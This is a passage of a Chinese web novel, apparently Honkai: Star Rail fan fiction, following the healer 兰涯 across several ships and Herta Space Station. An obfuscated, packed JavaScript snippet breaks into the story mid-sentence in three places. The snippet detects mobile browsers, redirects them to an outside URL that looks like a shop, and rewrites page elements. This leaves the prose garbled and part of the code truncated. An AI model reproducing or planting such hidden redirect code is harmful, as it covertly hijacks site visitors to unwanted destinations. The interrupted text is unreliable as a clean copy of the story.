按竟天的说法,他是来接自己的,可他怎么知道自己在玉阙仙舟? 走出茶室,兰涯这么问道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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玉阙仙舟的战火渐渐平息,这座历经劫难的仙舟即将重新起航。 博学士军团已经回程了。碍于身份和流言,以及和白焰的约定,兰涯干脆暂留仙舟,毕业证也不要了。 她觉得自己不需要那张纸,她需要的东西已经在课堂上拿到了,剩下的那些课程,比如医院管理、医疗法规、医疗保险理赔,她实在想不出自己有什么必要去学。 结果没几日,医学院就发来了兰涯和白焰两人的毕业证书。 白焰引用了仙舟古话说:“前倨而后恭,思之令人发笑。”她的狐耳抖了抖,嘴角撇着,表情像是一个吃了酸橘子的人。 可惜以兰涯四舍五入等于没有的读空气技能来说,她也不明白医学院在白焰嘴中的“前倨”在哪里,“后恭”又在哪里。 这件事已经不足以让兰涯留心了。难得享受这身体不疼的时光,她流连于丹鼎司的书库中。 丹鼎司的书库很大,书库里的空气带着纸张和墨水的气味,还有一种说不清道不明的、属于时间的味道。 她在这里一待就是一整天,完全没有注意到白焰最近早出晚归,一脸高深莫测,不,狐狐祟祟。 19. 第 19 章 直到半个月后,白焰神秘兮兮地拉着兰涯来到了丹鼎司后院的房间。 真相大白。 丹鼎司与云骑军的姑娘们等在那里,还有衣架上一套精致的衣裳。 牵头的是丹鼎司的医士青禾与云骑军的校尉苏湄,为了表达对兰涯的感谢之情,姑娘们商议了半日,决定亲手为兰涯定制一套衣装。 摒弃了仙舟服饰中常见的华丽云纹、垂坠流苏与繁琐配饰,不要什么华丽的仙舟朝服,也不要繁琐的礼仪服饰,只求一套简约利落、便于行动、又能藏着她们感谢心意的衣服。 姑娘们先拉来白焰,然后召集了丹鼎司擅长女红的医士,还有云骑军中手艺精巧的姑娘,一起商议衣装的设计。每一个细节都反复斟酌,领口要不要加边,袖口要不要收束,衣摆要多长才既方便行走又不显得局促。有人画了十几张设计图,每一张都被讨论过、修改过、然后推翻重来。 在颜色的选择上,她们争论了许久。最终选定了黑、蓝与银白三种颜色,做渐变处理,领口以沉稳的黑色为底,缓缓过渡到深邃的蓝,再到衣摆的银白。层层递进,低调又高级,既不张扬,还能在光影下泛着独特的光泽。 衣料的选择上,她们费尽心思。从战后玉阙仙舟仅有的库存中搜罗来灵蚕丝。这种丝线质地柔软,却异常耐磨,透气性极佳,无论是奔走战场还是日常行走都不会束缚行动,更不会因长时间穿着而感到不适。灵蚕丝本身带着淡淡的莹光,与渐变的颜色相融,在阳光下会泛着细碎的光泽,不刺眼,却足够动人。 虽然摒弃了繁复的纹样,可姑娘们依旧在细节处藏满了心意。封腰处,她们绣了一朵小小的兰花,花瓣用金线填充,内里花蕊用银线勾勒,那朵花很小,不仔细看几乎看不到,但看到了就会忍不住多看几眼。 领口处做了简约的交领设计,边缘用银线滚了一圈细细的包边,既利落又精致,不会显得呆板。衣摆处微微放宽,便于行走与奔跑,袖口也做了束口设计,避免了行动不便的困扰。 为了让衣装更贴合兰涯的身形,白焰趁着兰涯不备,悄悄量下了她的尺寸。她量得很仔细,每一个数字都量了好几遍,生怕出错。反复修改裁剪,哪怕是一丝一毫的偏差都要重新调整。足足忙碌了半个月,这套衣装才终于完成。 现在是送上心意的时刻了。 兰涯被这份沉甸甸的心意感动到了。她的指尖抚过细腻坚韧的灵蚕丝,触感温润,像摸到了清晨的露水。渐变的黑、蓝与银白在光线下晕开柔和的光泽,像一条被折叠起来的银河。 每一处细节都藏着姑娘们的用心,处处皆是真诚。往日里平淡的眼眸此刻泛起了暖意,她习惯了独自前行,从未想过,自己竟能被这般记挂、这般珍视。 兰涯嘴角扬起,眼睛里多了几分人间的柔软。她抬头看向眼前满眼期待的姑娘们,声音格外清晰:“谢谢你们,这份心意,我记下了,很珍贵。” 白焰笑着催促:“快去试试看,合不合身?” 兰涯换上了姑娘们为她定制的新衣,从内室里走出来,姑娘们脸上的笑容越发灿烂。 阳光洒在她身上,瞬间照亮了那身衣装,黑色沉稳大气,深蓝深邃内敛,银白清冷灵动,层层渐变自然流畅,没有丝毫突兀。灵蚕丝的衣料在阳光下泛着细碎的莹光,如同星屑落在衣摆上,熠熠生辉。 兰涯耳边似乎响起了阿哈的声音:“好好好,这身衣服一看就能进卡池!” 那声音很轻,像是从很远的地方传来的,又像是从她自己脑子里冒出来的。她下意识地摸了摸发间的面具发夹,面具装死不动,像一只在冬眠的熊。 姑娘们笑着招呼兰涯一起去聚餐。白焰拉着她的手,众人走出丹鼎司。走到半路,白焰想起要去取预约好的奶茶,便急急地招呼苏湄一起去取,两个人小跑着消失在街角。 兰涯一个人跟着姑娘们,漫步在玉阙仙舟的街道上。 玉阙仙舟巍然矗立如亘古仙山,琼楼连绵似玉砌。云海缭绕间,青瓦覆顶的楼宇层层叠叠直抵天际,飞檐翘角衔流云。 哪怕经历了战争,这里也步步是景。街边的铺子有些已经重新开张了,卖包子的、卖茶的、卖药的,店主们在门口招呼客人,脸上带着劫后余生的笑容。 转过这个弯,兰涯抬眼看见不远处的街角,拉曼查正站在那里。 他的表情很奇怪。平日里从容洒脱的他,今日竟没有挥手打招呼。他的手垂在身侧,像是忘了怎么抬起来。 他的眼神有些躲闪,看一眼兰涯,又移开,看一眼,又移开,像一只被探照灯照到的小狗,不知道该往哪边走。 这让兰涯更奇怪了:“你怎么了?” 拉曼查张了张嘴,嘴唇动了几下,最终只憋出了干巴巴的三个字:“很好看。” 兰涯点点头,今天得到姑娘们的心意,让她非常幸福:“谢谢。” 她以为拉曼查在说衣服好看,确实好看,姑娘们的手艺很好,灵蚕丝的衣料在阳光下泛着光,渐变的黑蓝银像一幅流动的画。 不远处,姑娘们招呼着:“兰医师,这里这里!” 拉曼查又张了张嘴,还想再说些什么。兰涯已经转过身朝姑娘们走去,衣摆上的光泽在阳光下如宝石流光。 那道光从她的衣摆上折射出来,像一颗星星落在了眼睛里。他看着那道光,看着她的背影,看着她走向那些姑娘们,看着她被她们围住,拉着手,笑着说话。 他就站在那里,看着那道光,一点一点地远去。 战后的玉阙渐渐恢复生机,街巷间的烟火气日渐浓厚。卖早点的铺子重新支起了蒸笼,白茫茫的蒸汽从笼屉缝隙里钻出来,混着包子和糕点的香味,在清晨的空气里飘散。 茶楼里的说书人又拿起了折扇,醒木一拍,讲的是云骑军如何死守玉阙、博学士军团如何驰援、那位神秘的绝境医师如何以一己之力扭转战局。茶客们听得入神,手里的茶凉了也没察觉。 街边的药铺门口排起了长队,有人在买治伤的药,有人在买补身子的补品,有人在买安神助眠的方子。战后的玉阙,需要安抚的不只是身体,还有那些被炮火震碎了的神经。 兰涯本想再多留几日,可来自黑塔空间站的紧急委托,让她不得不提早离开。 姑娘们送了许多东西,多到她这里实在放不下。青禾塞了好几包丹鼎司特制的药茶,说是能安神助眠、缓解疲劳。苏湄送了一把云骑军制式的短刀,说是防身用的,小巧轻便,不占地方。白焰更是把整个玉阙好吃的糕点蜜饯搜罗了一遍。 此外还有其他姑娘们送的各种小物件堆了满满一桌。兰涯看着那堆东西,觉得自己像是要去远行的小姑娘,被家里的姐姐们往行李里塞各种万一用得上的东西。 她实在带不了这么多,干脆委托拉曼查暂存,等他仙舟的事办完。 “反物质军团集结了大量战舰和末日兽,”兰涯解释道,“同时对湛蓝星和黑塔空间站发起了攻击。攻势猛烈,站长艾丝妲亲自指挥防御作战,在作战中不慎受伤,虽然不算致命,却也影响了身体机能。” 她想了想,补充道:“艾丝妲站长,其实是布鲁斯理事的女儿。他得知我在玉阙,特意发来委托,希望我能前往空间站,为艾丝妲治疗。” 拉曼查收下她的那堆东西,把那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485888|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个包裹摞在一起,抱在怀里,看起来像菜鸟驿站站长。 “好,我就当一回快递员回基地。”他的语气里带着调侃,把包裹在怀里调整了一下位置,确保不会掉。 兰涯想起了他是从朱明仙舟过来的,问:“你不回朱明仙舟?” “我在仙舟的事也办完了。”拉曼查指了指自己的手腕。 他的手腕上始终钉着三枚古朴的金属钉,钉身泛着淡淡的玄色光泽,上面刻着复杂的纹路。那三枚钉子钉在皮肉里,周围的皮肤微微发红,但没有肿胀,没有溃烂,边缘干净利落,像是被某种力量固定住了。 “和封印影子的钉子有关?”兰涯问,目光落在金属钉上。 她记得那三枚钉子。从第一次见到拉曼查的时候,她就注意到了它们。 那时候钉子周围是黑色的,黑色的影子想尽办法从钉子下面蔓延出来。现在那些影子乖乖缩回去了。 拉曼查坦然地将手腕递到她面前,说道:“这是三才钉。此次我前往朱明仙舟,便是为了请怀炎将军加固三才钉的封印。” 自诛罗之战,已经不知过去多久。兰涯平日里没什么特别细微的时间流动的概念,日子对她来说是一条没有刻度的线,看不到起点,也看不到终点。 但看着他手腕上的三才钉,她想起了那场大战中贪饕的影子。那些黑色的纹路在他手臂上蠕动的样子,那些绷带下面时隐时现的暗影,那些被她用金针固定住的边界。 “很疼吧?”她忍不住产生了共情。 拉曼查诚实地说:“你固定了影子和身体的边界后,侵蚀不多,就是会幻痛。那也是没办法的事,毕竟是如此危险的东西。” 那也是没办法的事。这句话,兰涯在无数次疼痛中也这么对自己说。 那时候她对自己说:忍一忍,这很正常,等战争结束,就不疼了,也是没办法的事。 可从旁人嘴里说出来,总觉得哪里不对劲。 是了,自己理应如此,可现在自己对面的只是普通人类而已。 不应如此。对,不应该这样。一个人类不应该习惯了疼痛,不应该觉得幻痛也是没办法的事,不应该用这样的措辞来打发自己的伤口。 拉曼查看着她脸上纠结的表情,笑着摆摆手:“没事,仔细说来,还得谢谢你。和影子侵蚀血肉比起来,幻痛不算什么。” 他的笑容很轻松,像是在说一件不值一提的小事。 但兰涯清楚,幻痛这种东西,一次两次可以忍,十次百次可以忍,千次万次呢?忍到最后,就疼习惯了? 疼习惯了这个想法,本身就很疼。 兰涯不多说了,伸出手:“来吧。” 拉曼查愣了:“什么?” “拥抱啊。”兰涯理所当然地说,“不是你说的吗,用拥抱来代替告别。” 她的手臂微微张开,动作有些生硬。但她的眼睛是认真的,没有犹豫,没有不好意思,只是觉得这是一件该做的事。 上次他拥抱了她,她说了“下次还填非常简单”。她觉得那是她说过的最好的话之一。不是因为它有多幽默,而是因为它让拉曼查在自己面前产生了有趣的表情。 拉曼查身体一僵,然后故作一副轻松随意的样子,嘴角扯出一个弧度:“哈哈,我都差点忘了,来。” 他放下手里的东西,微微俯下身,轻轻地拥抱了一下,手臂环过她的肩膀,没有用力,只是轻轻地搭在那里,像搭着一件易碎品。 “一路平安。”他说。 然后松开了。 动作很快,快到像是生怕自己多抱一秒就会让仙舟的金人集体爆炸。 20. 第 20 章 独自在宇宙中跃迁是一件很愉快的事情。 星海在周围拉成细长的光丝,空间折叠又展开,一颗颗星辰从她身边掠过。 兰涯习惯这种旅行方式,不需要慢吞吞的飞船,不需要固定的银轨,只需要一个坐标,身体就会跟着虚数脉络的走向滑过去。 从玉阙到黑塔空间站的距离不短,她计算过,中间找个陨石带歇一歇倒也问题不大。 但这一次,她被拦住了。 一只黑猫出现在她的跃迁路径上,准确来说它站在一块漂浮的陨石上,安静地看着她。 陨石在星光的照射下泛着灰白色的光。黑猫蹲在陨石的最高处,尾巴从边缘垂下来,一动不动。 兰涯在虚无深渊见过黑猫,那只黑猫有金色的眼睛,给了她两枚针,一枚是终末的时针,一枚是开拓的指针。 那只黑猫蹭过她的手,她记得那个触感,毛茸茸的,温热的,在虚无的冰冷中格外清晰。 但眼前这只不一样。它的瞳孔是蓝色的,体型比那只金眼的大一些,毛也更短,贴在身上,像一层黑色的绒布。 “……”兰涯试探着开口,“咪?” 黑猫没有叫,它只是看了兰涯一眼,然后转身朝另一个方向走去。走了几步,又回头看她,尾巴在身后轻轻甩了一下。 兰涯读懂了这个意思,回头看她,是在确认她有没有跟上来,甩尾巴是在催促。 她犹豫了一瞬,目的地是黑塔空间站,艾丝妲在等她,布鲁斯在等她的消息,她不应该在路上耽误时间。 但这只猫的出现太奇怪了。深空里没有食物,没有空气,没有温度,一只普通的猫不可能活在这里。它和那只金眼的黑猫一样,不是普通的猫。 兰涯改了方向,跟着黑猫跃迁,也完全没有思考为什么猫也会跃迁。 第一次跃迁,黑猫落在了一片小行星带。碎石在虚空漂浮,大的像房子,小的像拳头,密密麻麻,像一条被冻结的河流。 黑猫踩着一块石头跳到另一块石头上,动作很轻,又回头看了兰涯一眼,尾巴在身后轻轻甩了一下。兰涯跟过去,黑猫再度跃迁。 第二次跃迁的目的地是附近一颗很小的行星。这颗星球不大,直径大概只有几十公里,表面灰扑扑的,没有大气层,没有植被,只有碎石和灰尘。 地面是松的,踩上去会陷下去一点点,像踩在沙滩上。黑猫走在前面,脚步很轻,在灰尘上留下一个个小小的脚印,兰涯继续跟着。 走了没多远,黑猫在一处低洼地停了下来。那里有一块突出的岩石,岩石下面坐着一个人。 一个青年。 他穿着深色的兜帽外套,帽子拉得很低,挡住了大半张脸,只露出下巴和嘴唇。他的皮肤很白,白得不像活人,像从来没有晒过太阳。 他安静地坐在那里,手放在膝盖上,像是等了很久。 黑猫跳到他肩膀上,蹲下来,尾巴绕着他的脖子。 青年抬起头,他的脸在兜帽以及乱糟糟的白色发丝阴影下看不太清楚,但他的眼睛很亮,蓝色的,和那只黑猫的瞳孔颜色一样。 “我是前列车领航员,我见。”他的声音不大,但很清楚,在真空的环境里,兰涯听不出声音是从哪里传来的,也许不是通过空气,“现在是终末的行者,遵从「末王」的意志而来。” 兰涯听过这个名字,拉曼查提过他。在诛罗之战后的那个夜晚,拉曼查急切地询问她有没有逆转被影子吞噬的战友的生命时提过,他说观星者指点他去取得贪饕的影子,告知了他代价。 “你是拉曼查提到的观星者。”兰涯说。 我见点了点头:“他拿到了贪饕的影子,也付出了代价。” “是的。”兰涯说,“诛罗战场上,影子吞噬了一切。” 我见没有立刻接话,他把肩膀上的黑猫拿下来,放在腿上,手指慢慢梳理着猫背上的毛。黑猫发出很低的声音,那种猫舒服时才会发出的细微的呼噜声。 这还真是猫啊。兰涯心想。 “那只是开始。”我见继续说,“拉曼查付出的代价刚刚开始。影子会一直吞噬下去,直到他死,或者直到影子离开。” 兰涯沉默了一会儿。她见过拉曼查手腕上的三才钉,见过下面蠕动的黑色影子,见过他一个人在基地角落按着钉子时咬牙的表情。 她问:“他取得贪饕的影子,也是「末王」的计划之内吗?” “是的,这是规避宇宙迎来终末的节点之一。”我见非常爽快,继续说,“还有一件事,要提醒你。” 兰涯看着他。 “拉曼查和贪饕的影子共生。影子吞噬了什么,他能尝到滋味。不是用嘴尝,影子的每一次吞噬,都会把「味道」传给他。” 我见停了一下,确认兰涯在听,然后继续说。 “命途的滋味,情绪的滋味,记忆的滋味。影子吞噬一个巡海游侠,他能尝到那个人的仇恨。影子吞噬一只虫群,他能尝到饥饿。影子吞噬一段记忆,他能尝到那个人最深的执念。所有被吞噬的东西,都会在他身上留下一层东西,像积雪,一层一层地压上去。” 兰涯眼皮跳了一下,她想到拉曼查坐在篝火旁的样子,在基地食堂吃饭的样子,从目前情况来看,影响味觉的程度并不深?或者说他装得太过自然? “到最后,”我见说,“他会和虚无的自灭者类似,失去味觉。不是尝不出味道,是味道不再有意义。甜的变成无味,苦的也变成无味,所有的东西都一样,没有任何区别。” 兰涯想起了芽衣,芽衣用甜味锚定自己,用桃子和红豆汤抓住那些快要消失的感觉。芽衣说如果连甜味都尝不到了,那一个人就真的离虚无不远了。 拉曼查从来没有提及这件事,也或者自己根本没有注意到一些细节。 兰涯回过神来,自己也没有资格震惊。她自己的身体随着宇宙的疼痛而疼痛,那些痛楚从虚数脉络的深处涌上来,像潮水一样,一波接一波,没有尽头,她也从来没有说过。 两个人都在瞒着对方。不是因为不信任,兜兜转转还是那句“那也是没办法的事”,有些东西只能自己扛。 “他会变成什么样?”兰涯问。 我见说:“不好说,我对他最大的希望是能活多久活多久,这样贪饕的影子就不会解开封印了。” 兰涯想起拉曼查手腕上的三才钉,想起他说“幻痛不算什么”时脸上轻松的笑容。当下我见对于拉曼查的期望,对拉曼查是一种漫长的看不到尽头的酷刑。 “你来这里就是为了跟我说这些?”兰涯问。 我见说:“不是。” 黑猫从他腿上跳下来,蹲在他脚边。他站起来,兜帽往下滑了一点,露出更多的脸,看起来年纪不大,但眼睛里有一种很沧桑的、像是看了太多东西之后才会有的疲惫。 “你是终末无数条时间线上没有见过的变量。”我见说,“每一次轮回,每一个分支,每一条时间线,终末都看过。从虚数之树扎根的那一刻起,到宇宙最后一次重启的终点,所有的时间线都被记录在终末的轮盘上。但你不在那些记录中。你是新出现的。” 兰涯问:“这有什么问题?” 我见说:“没有问题。「末王」没有说你必须消失,也没有说你必须存在。祂只是让我来告诉你一件事。” 他停了一下,低头看了看脚边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她也觉得对方不会再说更多了。他的嘴已经闭上了,黑猫也闭上了眼睛,整个人像一尊雕塑,坐在那里,不再说话。 她点了点头,表示自己记住了。 我见重新拉上兜帽,黑猫站在他脚边,尾巴竖着,像一面小小的旗,他又把兜帽往下拉了拉,遮住了更多的脸。 最后,兰涯终于想起了一个重要的问题。她摸了摸发间的两枚针,金色的时针和银色的罗盘指针。这两枚针来自那只金眼的黑猫,那只黑猫是终末的使者。她想确认一下它们的来历。 “双针是末王送的吗?”她问。 “不是。”我见回答得很快,没有任何犹豫。 不是末王送的,那只金眼的黑猫是谁?为什么要给她这两枚针?她还想问,但我见的身体已经微微侧过去了。 兰涯看出来,他要走了。 “你的出现让终末看到了新的可能性。但可能性只是可能性,不是结局。” 说完,我见转过身,朝另一个方向跃迁离开。黑猫跟在他脚边,步伐一致,一人一猫,在灰白色的地面上拉出长长的影子,一晃眼就不见了。 兰涯低头看了看自己的手,又抬头看了看星海。我见的话还在她脑子里转,龙尊,公主,列车,定量。 她不太明白这些意味着什么,但她觉得以后会明白的。她不是那种会在事情发生之前就焦虑的人,该来的总会来,该知道的总会知道。 她重新开始跃迁。星海在她周围拉成细长的光丝,空间折叠又展开,那颗灰扑扑的小行星很快就被抛在身后了。 21. 第 21 章 兰涯到达黑塔空间站的时候,站外的战斗还在继续。 能看到远处星海中有火光在闪,那是反物质军团的战舰在被空间站的防御系统拦截。有几艘末日兽的残骸漂浮在站体附近,外壳被炸得焦黑,还在往外冒烟。 一个穿着制服的工作人员在接驳口等她,确认了她的身份后,直接带她去了医疗舱。 艾丝妲有着一头和布鲁斯夫人一样漂亮的粉色头发,她躺在医疗舱的床上,右腿和左臂缠着绷带,脸上有一道擦伤,从颧骨拉到下颌。虽然脸色不太好,嘴唇发白,但眼睛是睁着的,看到兰涯进来还抬了抬手。 “兰医师。”她说,声音有点哑,“麻烦你跑一趟。” 兰涯走到床边,蹲下来看了看她的伤口。 绷带拆开后,能看到右腿小腿外侧有一片不规则的撕裂伤,不是刀砍的,是溅射伤,边缘参差不齐,肉翻在外面,已经做了清创和止血,但愈合得不好。左臂的伤轻一些,主要是淤青和擦伤。 “践踏者。”艾丝妲解释,“踩了一脚,没踩实,被护盾挡了一下,但还是溅到了。” 兰涯点了点头,没有多问。她拔出双针,金色的时针先落下去,稳住伤口周围的生机。银色的指针跟着落下,把伤口的状态往前推。 撕裂的皮肉开始往回缩,边缘变得整齐,然后慢慢长拢。整个过程大概用了不到两分钟。艾丝妲低头看着自己的腿,表情没什么变化,但呼吸平稳了不少。 “好了。”兰涯收起双针,“静养两天,不要剧烈活动。” 艾丝妲活动了一下脚踝,又弯了弯膝盖,确认没问题了,才说了一声谢谢。 兰涯正准备收拾东西离开,发现边上站着一个人偶。 黑塔的人偶站在边上,围观了整个治疗过程,两只玻璃珠一样的眼睛直直地盯着兰涯,一动不动。 兰涯看了它一眼,没有在意,继续收针。 人偶看了看艾丝妲的腿,又看了看兰涯手里的针,然后又看了看兰涯的脸。整个过程它的表情没有任何变化。 “你刚才用的是逆转时间的能力。”人偶开口了,它的声音和黑塔本人一样,带着一种理所当然的语气,不是在问,是在确认。 兰涯点了点头,看来这个人偶目前由黑塔女士本人操控。 “流言果然不可信,不是丰饶,不是存护,也不是巡猎。”黑塔继续说,“是终末。你走的是终末命途。” 兰涯说:“我不确定。” 人偶歪了歪头,那两只玻璃珠眼睛一眨不眨地盯着她。 “你的能力是把‘受伤’这个事实从时间轴上剥离。这不是治疗,这是改写因果。能做到这种程度的人,只有终末命途的行者。不,行者都做不到,你可能是令使。” 兰涯没有接话。她不太想讨论自己的命途,因为她确实不知道。 人偶没有因为她的沉默就停下来。它走到兰涯面前,上上下下打量了她一遍,然后说了一句让兰涯意外的话。 “我可以把你的数据作为终末命途的行者记录下来吗?” 兰涯愣了一下。不是因为问题本身,而是因为黑塔在征询她的意见。 在她的认知里,博识学会的人做事很少问别人同不同意。她见过那些学者,有的为了研究数据可以不择手段,有的把人当成样本,有的把伦理委员会当成摆设。 她在医学院读书的时候听说过,有些派系为了让实验数据更漂亮,会在受试者不知情的情况下篡改记录。还有更过分的,直接拿活人做试验,出了事就用公司的资源压下去。 所以她听到黑塔说“我可以吗”的时候,确实有点意外。 “你在征询我的意见?”兰涯问。 黑塔说:“当然。你是数据的来源,不经同意就采集是不对的。” 兰涯说:“博识学会有些派系不怎么做人。” “那是他们的事。我是天才俱乐部第83席,黑塔。我的研究不需要靠骗人来做。” 兰涯听得出黑塔骄傲的语气背后是人类良知的底线。这个人偶在告诉她,有些事情她不做,不是因为做不到,是因为不应该做。 “你要我的数据做什么?”兰涯问。 黑塔说:“我有一个计划。开发一款独立的虚拟空间,用计算机技术完整地、全尺度地模拟出整个宇宙。在这个模拟宇宙里,我可以人为地干涉命途概念的行为,观察这些干涉会引起什么反应。如果干涉足够强,可能会得到相对应星神的瞥视,从而研究星神本身。” 兰涯听完这段话,想了一下:“你打算用我的数据作为终末命途的样本。” “对。”黑塔说,“你的存在本身就很有价值。你不是丰饶令使,不是巡猎令使,你甚至不知道自己是什么命途,但你确实在使用终末的力量在前行。如果你同意,我会把你的数据录入数据库,作为终末命途的参考模型。” 兰涯想到自己从虚无深渊被芽衣拉上来,到跟着阿哈去看戏,到在战场上救人,到现在站在黑塔空间站里被一个人偶请求提供数据。她从来没有想过自己会成为什么“样本”,但她也不反感,黑塔至少问了。 “可以。”她颔首,“但我再说一次,我不确定自己是不是终末命途。你可以先记着,以后如果发现不对,再改。” 人偶点了点头:“那就先记作终末。” 它从裙子口袋里掏出平板记录了一下。 “好了。”人偶收起装置。“谢谢你配合。” 它转身走了。走了两步又停下来,回头看了兰涯一眼。 “你刚才说博识学会有些派系不怎么做人,我知道你说的是哪个派系。完美进化学派确实有问题。” 兰涯没有说话。 人偶继续说:“但天才俱乐部和博识学会不一样,比完美进化学派更神经质的疯子比比皆是,连我自己都不太想和那几个特别疯的打交道。成员各自为政,没有统一的立场。唯一默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485890|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认的规矩就是不能互相干涉对方的课题。你想研究什么就研究什么,只要不挡我的路就行。” 说完,人偶走了出去,小小的身影消失在走廊尽头。 艾丝妲在旁边听了一会儿,插话进来:“兰医师,你要不在空间站待两天?湛蓝星空域的反物质军团还没彻底击溃,航道不安全。等战斗结束了再走也不迟。” 兰涯想了想,她没有什么急事,没有人等她。 “好。”她说。 艾丝妲让人给她安排了一间客房,就在生活区,窗户对着湛蓝星,能看到飞船起落。 兰涯把东西放下,然后去资料室找黑塔。 黑塔在一间很大的实验室里,周围摆满了各种仪器和人偶。她本人没有来,还是人偶在操作。看到兰涯进来,人偶指了指旁边的一台终端。 兰涯坐下来,开始录入。数据不多,大概花了一个小时就弄完了。她站起来,人偶还在另一边调试什么,头都没抬。 “你资料库里的东西,我能看吗?”兰涯问。 人偶说:“看吧。不加密的都能看,加密的你打不开。” 兰涯走到资料室,在终端上先搜了“无漏净子”,这个词我见说过,她不知道是什么意思。 屏幕上弹出一段文字,不过落笔不多。银河能达成的共识只有一个,一位或几位无漏净子建立了流光忆庭,共同看守记忆的秘密。 原来和记忆有关。她又搜了“仙舟龙尊”。 这次出来的内容很多,她粗略看了一下。仙舟罗浮的龙尊是持明族的领袖,世代传承,拥有龙裔的力量。 现任龙尊的名字她一个都没听说过,玉阙上下都忙于战事,也没空闲见玉阙的龙尊。但资料里提到,龙尊的传承需要在特定的时间点完成,否则会引发持明族的内部动荡。 兰涯把这些信息记在心里。她不知道我见说的“彻底抛开往昔的束缚”是什么意思,也不知道“在规定的时间点登上列车”是什么时间点,但这两个名词的确比较新鲜。 上次阿哈给她讲的也都是星神之间的秘辛,完全不知道下面各种命途行者如此丰富多彩。 闲着也是闲着,兰涯干脆在资料库里把各个派系都阅读了一遍,不得不说,久违地体会到了听白焰讲八卦的快乐。 第二天早上,艾丝妲来敲门,说反物质军团的攻势已经退了,湛蓝星的航道恢复了安全。她问兰涯要不要再留一天,空间站的工程师修好了一台旧型号的模拟器,可以体验一下。 兰涯说不用了,她该走了。 走出空间站的时候,她回头看了一下。黑塔空间站在星光照耀下泛着银白色的光,几艘小型飞船从港口飞出去,拖着蓝色的尾焰,朝湛蓝星的方向去了。 她转过身,确认了一下坐标,开始跃迁。 星海在她周围拉成细长的光丝,空间折叠又展开。黑塔空间站越来越远,最后变成一个亮点,和其他亮点混在一起,分不清了。 22. 第 22 章 兰涯到曜青的时候,白焰在码头等她 狐人穿着粉色的外衣,头发盘起来别着金饰,耳朵从发髻里钻出来,毛茸茸的,尖端染了一点朱红。 看到兰涯从接驳船上下来,白焰跑过来一把抱住她,脆生生地说:“你来了!” 兰涯已经开始习惯拥抱了,很自然地拍了拍她的背:“恭喜。” 白焰松开她退后一步,上下打量了一番:“你穿这身真好看。” 兰涯穿着仙舟姑娘们送的那套衣服,头发盘着,两枚针别着,没换别的,因为这套最正式。白焰拉着她的手往城里走:“明天婚礼,今天先带你吃好吃的。” 曜青的街道比玉阙窄一些但更热闹,两边全是铺子,卖吃的,卖布的,卖古玩的,吆喝声混在一起。 白焰走得很快,耳朵在前面一抖一抖,兰涯跟着她穿过两条街拐进一条巷子,在一家店门口停下来。 招牌上写着“曜青浑天鼎镬”,门面不大里面却很宽敞,桌子是木头的,中间挖了一个洞,洞下面架着炉子,炉子上坐着一口大锅,锅中间隔了一道挡板,一边是红的一边是白的,红的那边浮着一层辣椒和花椒,白的那边飘着几颗红枣和枸杞。 白焰拉着兰涯坐下,对老板喊了一声:“鸳鸯锅,中辣!” 老板应了一声转身去准备。兰涯看着隔壁桌上的锅,红的那边红得发黑,她莫名地产生了不安的情绪:“中辣是多辣?” 白焰想了想:“还行吧,不是很辣。”兰涯没说话,白焰看了她忐忑的样子,笑了:“你可以吃白锅,白锅不辣。” 锅端上来的时候红汤在翻滚,辣椒和花椒浮上来又沉下去,空气里全是麻辣的味道,兰涯被呛得眯起了眼。 白焰把肉片、毛肚、虾滑、豆腐一样一样下进去,动作很快很熟练。 兰涯问:“你常来?” 白焰说:“以前常来,现在不怎么来了。” “为什么?” “因为忙,工作、婚礼的事多。”白焰夹了一片毛肚在红汤里涮了七上八下,放进兰涯碗里。 兰涯看着碗里的毛肚上面沾着的红油,感觉比绝灭大君还可怕,鼓足勇气夹起来咬了一口。辣味从舌尖冲进来,穿过口腔窜上鼻腔,直冲天灵盖,她举着筷子,愣在那里,不动了。 白焰看着她笑了:“辣吗?” 兰涯说不出话,端起桌上的万事大捷奶乎乎拿铁喝了一大口,得救了!奶味很浓甜度刚好,凉凉的从喉咙滑下去把火浇灭了:“这个好喝。” 白焰得意地说:“那当然,曜青特产。” 继续吃,兰涯学乖了只吃白锅,白锅的汤底是骨汤,鲜而不辣,她把青菜和豆腐捞出来蘸一点酱油慢慢吃。 白焰吃红锅吃得很快,鼻尖冒汗嘴唇红红的,耳朵也红了,最后她也不得不缓一下喝口拿铁。 放下杯子,她的手蘸着菜叶滴到桌上的清水,画了个圈,说:“狐人的寿命,在仙舟算是短的,大概三、四百年。我已经活了一百多年了。” 兰涯放下筷子,没有说话。 白焰继续说:“上次倏忽围攻玉阙,你以为我是因为害怕才哭的,其实不是。我是因为看到那个孩子死了,那个狐人的孩子比我小很多。我想,如果是我死了,我的家人怎么办。” 